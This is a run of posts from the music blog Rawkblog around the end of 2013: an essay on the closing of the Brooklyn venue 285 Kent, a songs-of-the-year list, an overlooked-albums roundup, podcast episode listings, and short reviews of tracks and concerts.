These are silly pop songs, yes, but we are scared of dying, and by extension, all endings. Each represents a small death, a inch lopped off of the string of youth. This, I think, is why the closure of Brooklyn venue 285 Kent means so much to people. For the young and less-young people who experienced it, it must have surged with the excitement and opportunity of unpredictable community and experience. Twitter and Instagram are not only means of sharing or bragging, but of owning: of proving that a scene or image or instant happened to you, and by its newfound permanence, meant something. Honestly, all mobile photos are selfies. All scenes are, too.

Devon Maloney’s Pitchfork piece on the venue’s two years is thoroughly reported and straightforward in its narrative: if it errs, it is on the side of hyperbole, calling a venue Internet-famous (…in Pitchfork) for hosting hugely successful national artists such as Grimes and Odd Future “one of the most influential Brooklyn DIY spaces of the past 10 years.” There is no artist pictured in the feature whose name you will not recognize. Perhaps the venue’s legacy will live on as proclaimed, but surely that’s better left for a 2024 essay on the matter. It’s not a surprising perspective, though: Maloney and 285 Kent’s supporters are mourning its nowness; they are mourning the piece of themselves which has flickered out and may never burn as brightly, or in the same way, again.

I have a cynical response to all this, too, which is that 285 Kent will have a legacy: another battle lost in the underground’s endless war with corporate America and the less healthy end of Internet brag-culture. While we won’t buy their records, there are few commodities more valuable than access to musicians: to be feet from Grimes or Ocean or A$AP Rocky in a DIY warehouse is to be kissing the feet of kings and deities in our own humble village. Being there at the secret show is a stand-in for knowing the band from Day 1: from a cred perspective, it is false and desperate, although from the perspective of a person who enjoys music, cred is a bunch of bullshit, and I won’t deny the sheer pleasure of being at a show like this. Still, it can and does coexist with the lesser demons of Instagram likes and marketing boosts for artists who have broad exposure but need deeper ties to their distanced, digital fans, or at least their influential ones.

From any angle, 285 Kent is a tool for these artists, even as the acts are a tool for bookers to fill up 285 Kent between nights of unknown quantity. It’s a relationship played out yearly at CMJ showcases and SXSW parties, where emerging musicians run second or last behind the album cycles of gargantuan pop stars and established indie acts flying in for a paycheck. Perhaps it is a necessary relationship, and the audience will trickle down; more often, though, they cast too long a shadow. Listening to new bands is a risk; it takes work. In our moment of nowness, it may be a gamble we can’t afford to take, much less one outlets like Pitchfork, with its increasingly high financial stakes, can devote themselves to. But the big bands can always go elsewhere, and other artists, the ones for whom “DIY” is less a lifestyle than the only possible option, cannot. Listeners in attendance at Ocean’s next club gig should remember that before thinking themselves entirely special and unique.

285 Kent put on hundreds of shows, and many of them served bands who needed a place to start, to experiment, to try something new. The scene was undoubtedly real. But entropy changes everything, from gentrifying neighborhoods to music venues with shitty toilets to planetary temperatures. When something’s great, we’ve been left with no other choice: whatever it is, enjoy it while it lasts.

The post Critical Backlash: On 285 Kent And Spectacular Nowness first appeared on Rawkblog.

In August, Jessica Pratt’s Pickathon set was almost entirely new songs. The tracks of her sublime self-titled debut, I found out, were years old, and she told a KEXP interviewer at the Portland-area festival she’d be moving to Los Angeles and finishing the new set. It appears the elusive folk singer’s completed work on at least one track: “Game That I Play,” which retains the acoustic mystery of her otherworldly first album. Recommended if you like Joanna Newsom, Crosby, Stills & Nash’s “Lady of the Island” or burning incense.

Photo: Jessica Pratt at Pickathon, August 2013. Credit: David Greenwald

The post Jessica Pratt – ‘Game That I Play’ first appeared on Rawkblog.

One of the best indie-pop bands of our time covers the unofficial anthem of 2012. Saturday Looks Good To Me meets Sky Ferreira’s production halfway, an interesting challenge for the longtime lo-fi heroes (and one they meet mightily). The band’s superb One Kiss Ends It All was released on Polyvinyl in 2013.

The post Saturday Looks Good To Me – ‘Everything Is Embarrassing’ (Sky Ferreira Cover) first appeared on Rawkblog.

I’ve gone to SXSW for the last four years. Every year, writers complain about encroaching corporate influence and vent about either having to cover Justin Timberlake or not getting into Justin Timberlake. You did not need to fly to Texas to do this. The only readers who care what Justin Timberlake did at SXSW are waiting in line for his show and not clicking on your website.

There are going to be 2,000+ bands there this year. A lot of them are awesome, especially the ones that haven’t received three track reviews on Pitchfork already. The best events are unofficial and during the day and don’t have lines. So go do some reporting. Spend your own stupid money on beer. I believe in you.

*Full disclosure: Hell yeah, I saw Paramore last year. Follow yr heart.

The post A Challenge To Writers Covering SXSW Music 2014 first appeared on Rawkblog.

Here are 10 archival selections from Norwegian singer/songwriter/Bacharach defender Sondre Lerche, pulled from the album-cycle rubble of his superb 2011 self-titled release. And don’t miss my career-spanning interview with Lerche, done upon the release of 2012 live set Bootlegs.

Sondre Lerche photos by David Greenwald

The post Sondre Lerche – ‘2011’ Demos, Unreleased Tracks and Extras first appeared on Rawkblog.

My favorite LDN producer closed out his New Year’s Eve set with his two usual collaborators. Short and sweet.

last track from my set last night. collab with friends jessie ware, tic and a sprinkle of sampha from 2 years back! happy 2014.

The post SBTRKT ft. Jessie Ware and Sampha – ‘Runaway’ first appeared on Rawkblog.

1. Ciara – “Body Party”
2. Justin Timberlake ft. Jay Z – “Suit & Tie”
3. Miley Cyrus – “We Can’t Stop”
4. Ariana Grande – “Baby I”
5. Haim – “Don’t Save Me”
6. Daft Punk ft. Pharrell Williams – “Get Lucky”
7. Paramore – “Daydreaming”
8. Mariah Carey ft. Miguel – “#Beautiful”
9. Rhye – “The Fall”
10. Pusha T – “Numbers on the Boards”

11. Demi Lovato – “Heart Attack”
12. Vampire Weekend – “Diane Young”
13. Kanye West – “Blood on the Leaves”
14. CHVRCHES – “Recover”
15. Lorde – “Royals”
16. A$AP Rocky ft. Skrillex – “Wild For the Night”
17. Robin Thicke – “Blurred Lines”
18. The Strokes – “One Way Trigger”
19. Arcade Fire – “Reflektor”
20. Kacey Musgraves – “Follow Your Arrow”

21. Kurt Vile – “Wakin on a Pretty Day”
22. M.I.A. – “Bad Girls”
23. AlunaGeorge – “Bad Idea”
24. The Dismemberment Plan – “Lookin”
25. London Grammar – “Wasting My Young Years”
26. Lady Gaga ft. R. Kelly – “Do What U Want”
27. Fifth Harmony – “Miss Movin’ On”
28. Yo La Tengo – “The Point of It”
29. Laura Veirs – “White Cherry”
30. Caveman – “In the City”

31. Travis – “Boxes”
32. The-Dream – “Where Have You Been”
33. Smith Westerns – “3am Spiritual”
34. Mikal Cronin – “Shout It Out”
35. Drake – “Too Much”
36. The Blow – “From the Future”
37. ARMS – “Comfort”
38. Standard Fare – “Rumours”
39. Deerhunter – “T.H.M.”
40. Typhoon – “Young Fathers”

You can hear these songs in Spotify and Rdio playlists. This list previously appeared in The Oregonian.

Photo: Paramore at SXSW 2013. Credit: David Greenwald

More lists: 2012 Favorites: Songs of the Year | Lists Archive

The post 2013 Favorites: Songs of the Year first appeared on Rawkblog.

New Rawkblog + best of 2013 stuff coming next week. Be safe out there. See you in 2014.

The post Happy New Year first appeared on Rawkblog.

2) My year-end lists are already up on the Oregonian, but Rawkblog versions will be up here next week.

3) Have I mentioned here yet that as of Oct. 1, I’m the pop music critic at the Oregonian? And I moved to Portland in August? Rawkblog: you hear it first.

I’m hoping to use this site a lot more next year, especially for the kind of frequent link-posting/commentary I was doing on Tumblr. Stay tuned.

The post Programming note first appeared on Rawkblog.

No offense! But I turned to stats for this: each of the below releases has fewer than 1,000 Last.fm listeners or if it wasn’t listed on Last.fm, seemed safely obscure enough to include here. These are strong records by great artists and you should buy them with money so they can keep going.

Bonnie ‘Prince’ Billy – s/t
Will Oldham released his latest album by himself without traditional marketing to, as he explained it in concert in September, see what would happen — maybe nothing. A sparse, straightforward release from the master songwriter, I like it better than anything he’s done in years. You can possibly order it from his website.

Ashley Eriksson – Colours
A really wonderful bedroom pop album from the singer of LAKE. Tuneful, mournful and shyly funny, like a Carole King biopic starring Aubrey Plaza. (Buy)

Coastgaard – Coastgaard
An unsigned band from Brooklyn — yup, another one — who could be on Captured Tracks, if only they’d use more reverb. Glad they don’t. This album has a knowingly silly beachside theme, interesting guitar parts and songs that remind me of Crystal Skulls and A Classic Education, bands who probably needed a little more time to get to their classic albums. Hope this group makes it. (Buy)

Miserere – Miserere
The long-awaited, at least by me, sequel to Sea Snakes’ Clear as Day, the Darkest Tools. Less flushed with arrangements but still a captivating collection of guitar-driven pre-dawn emotion. (Buy)

yOya – Go North EP
This band should be as big as Coldplay and I will keep saying it until it’s true. High-flying pop songs with the duo’s most cinematic production yet. I’m cheating a bit here, as “I’ll Be the Fire” has 10,000+ plays on SoundCloud. Not sorry. (Buy)

Rose Melberg – September
A cassette-only release from the former Softies singer capturing a month of home-recorded covers ranging from Black Sabbath to Simon & Garfunkel. It’s sold out and unavailable digitally, so find it where you can. There’s also her new band PUPS, which released debut EP PUPS this year. (Buy)

More albums that probably need more love: LA Font’s Diving Man, Saturday Looks Good To Me’s One Kiss Ends It All and Beat Easton’s self-titled EP. Go listen.

Photo: Bonnie ‘Prince’ Billy. Credit: David Greenwald

The post Best of 2013: 6 Releases You Probably Missed first appeared on Rawkblog.

In this week’s episode, writer Caitlin White joins the show to talk about the best albums of 2013, Nedelle Torrisi (pictured), the year in thinkpieces and the advantages of freelance journalism. Here’s her piece on Lily Allen that we discuss.

Download or subscribe in iTunes: Episode 19: Best of 2013 (Caitlin White)

Previously:
* Episode 1, Pitchfork Fest (Chris Ott, Paul De Revere)
* Episode 2, The Dark Knight Rises (Mark Humphrey)
* Episode 3, LCD Soundsystem and Shut Up and Play the Hits (Greg Katz)
* Episode 4, Is Food the New Indie Rock? (Erika Bolden, Paul De Revere)
* Episode 5, Lit Blogs & “Against Enthusiasm” (Jacob Silverman)
* Episode 6, Taylor Swift / People’s List (Adam Barhamand)
* Episode 7, Fleetwood Mac / Tribute Albums (Rachael Maddux)
* Episode 8, Deeper Into Comic Books (William Goodman)
* Episode 9, Hip-Hop, Humor & Turquoise Jeep (Clayton Purdom, Colin McGowan)
* Episode 10, Fuck Yeah Menswear (Lawrence Schlossman, Kevin Burrows)
* Episode 11, Fall Music Preview (Evan Abeele of Memoryhouse)
* Episode 12, Hip-Hop & Hebrews (Simon Vozick-Levinson, David M. Goldstein)
* Episode 14, 2012 Year in Review (Jeremy D. Larson)
* Episode 15, Freelance Life (Paul de Revere, Erik Burg, Tyler Andere)
* Episode 16: Magic: The Gathering (Jacob Burch)
* Episode 17: “Pretty Little Liars” (Stephen Thomas Erlewine)
* Episode 18: Pop-Punk (Annie Zaleski, Eloy Lugo)

Photo: Nedelle Torrisi. Credit: Force Field PR.

The post Rawkblog Presents, Episode 19: Best Of 2013 (Caitlin White) first appeared on Rawkblog.

The return of Tokyo Police Club comes with a nearly nine-minute track, which could be a few minutes shorter but has the plus-side of never not sounding like Tokyo Police Club. It’s the first sign of their third album and sequel to the triumphant Champ.

The post Tokyo Police Club – ‘Argentina (Parts I, II, III)’ first appeared on Rawkblog.

All Dogs are among the best of the non-screamy lady-led punk rockers going these days, many of whom were named in Maria Sherman’s MTV Hive round-up. They remind me of Swearin’, which is to say they really remind me of Letters to Cleo, which is to say they rule.

On their Small Sound EP, Tennis continues to build up its sound, each new release further from the gimmicky garage of the duo’s debut. Young & Old wound up being one of my most-played albums of 2012, its melodies newly undeniable over the Black Keys’ Patrick Carney’s production. Richard Swift handled their latest set, raising reasonable concerns from Jill Mapes that the band’s a producer’s vessel, but when the hooks are this good, I can’t say I care.

The post New Music: Fine Pets, All Dogs, Tennis first appeared on Rawkblog.

We’ve talked about LA Font. You know the deal. Electric guitars. Yelping. Charisma. Los Angeles. Romance. Heartache. Bad decisions. Wit that cuts both ways. There’s real anguish to “Blood Orange,” a fruit not chosen here for its sweetness. The band’s capable of open flame but these are coals half-burned, the music slow and sore enough to know when something’s been lost.

LA Font’s sophomore album is called Diving Man and it is better than every post-Titanic Leonardo DiCaprio performance except Catch Me If You Can, which was quite charming. Pre-order it on Bandcamp.

Photo credit: Phillip Gadrow

The post Premiere: LA Font – ‘Blood Orange’ first appeared on Rawkblog.

2012 indie-pop rookies of the year Hospitality will release sophomore album Trouble on Jan. 28, 2014. The above album trailer sounds synth-y but not too synth-y.

Previously: Hospitality covers Steely Dan | 2012 Albums of the Year

The post Hospitality – ‘Trouble’ Album Trailer first appeared on Rawkblog.

In this week’s episode, writer Annie Zaleski and publicist Eloy Lugo join the show to talk about the state of pop-punk: are power-chord bands abandoning ship for synth-pop waters or is the genre, Warped Tour and all, still going strong?

Download or subscribe in iTunes: Episode 18: Pop-Punk (Annie Zaleski, Eloy Lugo)

Previously:
* Episode 1, Pitchfork Fest (Chris Ott, Paul De Revere)
* Episode 2, The Dark Knight Rises (Mark Humphrey)
* Episode 3, LCD Soundsystem and Shut Up and Play the Hits (Greg Katz)
* Episode 4, Is Food the New Indie Rock? (Erika Bolden, Paul De Revere)
* Episode 5, Lit Blogs & “Against Enthusiasm” (Jacob Silverman)
* Episode 6, Taylor Swift / People’s List (Adam Barhamand)
* Episode 7, Fleetwood Mac / Tribute Albums (Rachael Maddux)
* Episode 8, Deeper Into Comic Books (William Goodman)
* Episode 9, Hip-Hop, Humor & Turquoise Jeep (Clayton Purdom, Colin McGowan)
* Episode 10, Fuck Yeah Menswear (Lawrence Schlossman, Kevin Burrows)
* Episode 11, Fall Music Preview (Evan Abeele of Memoryhouse)
* Episode 12, Hip-Hop & Hebrews (Simon Vozick-Levinson, David M. Goldstein)
* Episode 14, 2012 Year in Review (Jeremy D. Larson)
* Episode 15, Freelance Life (Paul de Revere, Erik Burg, Tyler Andere)
* Episode 16: Magic: The Gathering (Jacob Burch)

Photo: Paramore at SXSW 2013. Credit: David Greenwald

The post Rawkblog Presents, Episode 18: Pop-Punk first appeared on Rawkblog.

The post Beat Easton – ‘Beat Easton’ first appeared on Rawkblog.

LAKE is an Olympia indie-pop band with a handful of charming albums, including two this year alone. The group’s latest is The World is Real, a K Records set full of soft-focus recordings with winsome feelings and ’60s inheritance. Call ’em Saturday Still Looks Good To Me. (Co-frontperson Ashley Eriksson, also a recent live member of Mount Eerie, has a solo debut out that’s among the year’s best records.) Live, the band’s sound was sharp and clear, a blend of bright dance grooves, the geometric shapes of ’90s indie guitar chords and innocent melodies. Like an Instagram photo, the band felt a bit naked with no filters — the songs unsure of what they’d like to be today, a dance party or a Lovin’ Spoonful homage. Not that they should be in a rush. Morning Ritual, an impressive seven-piece, opened with a refreshing sound: jazz-student chops supporting gentle soul harmonies, with songs that built into free-ranging solos and segues.

The post Photos: LAKE, Morning Ritual @ Mississippi Studios, 9.19.13 first appeared on Rawkblog.

We call just about anything a music festival these days, but Music Fest Northwest, Portland, Oregon’s annual blow-out, stretches the limits a bit: generously, it’s a micro-SXSW, with a handful of day parties (literally 4 or 5 across the whole week) and a city-wide venue take-over that, ideally, allows for running between theaters like a pokemon hunter. It didn’t really work like that for me: I showed up at venues including the Aladdin Theater and Roseland Theater when the doors opened, watched the two bands they offered for the night and went home. Still! As an opportunity to see acts including Bonnie ‘Prince’ Billy, Mount Eerie, John Vanderslice and CHVRCHES in smaller venues with warm vibes, it was a roaring success. I guess Really Good Show Week Northwest doesn’t have the same ring to it. RSSers: click through for the photo gallery.

The post Photos: Music Fest Northwest 2013 first appeared on Rawkblog.

“Would you really want me in the light of day?” Hannah Reid sings on “Interlude (Live),” and it’s a fair question. London Grammar’s If You Wait is an album for late nights and wine-soaked afternoons, dark and dreary weather that never bursts into thunder. Its restraint, presented in piano chords and electric guitar notes plucked as clean as chicken dinner, gives the songs a potent tension that Reid, a dusky, somber alto, simmers against. I hear influences that span some 20 years: the atmosphere of Portishead, the weight of Sarah McLachlan, the recent drama of Lana Del Rey and the xx. If You Wait sometimes loses itself in mood, but at its best — “Wasting My Young Years,” the set’s most energetic moment — it’s a promising debut from a band with plenty of time left.

// If You Wait is out now on Columbia. (Buy)

Homepage photo credit: London Grammar via Instagram

The post London Grammar – ‘If You Wait’ first appeared on Rawkblog.

Few songs have won my heart in the last few years like College’s “A Real Hero,” the love ballad of Ryan Gosling-starring, head-smushing anime tribute Drive. And few new bands have a way with atmosphere and delicate emotions like High Highs, the Australian-turned-New York band behind Open Season, one of this year’s loveliest albums. So hearing the group’s “A Real Hero” cover in the backyard of Home Slice Pizza as the fading sun pulled a golden blanket down on the stage during SXSW in March was a stunning moment — one I’m happy to repeat now, with the band’s driving but textured studio cover.

// The self-released Open Season is out now. (Buy)

Photo: High Highs at SXSW 2013. Credit: David Greenwald

The post High Highs – ‘A Real Hero’ (College Cover) first appeared on Rawkblog.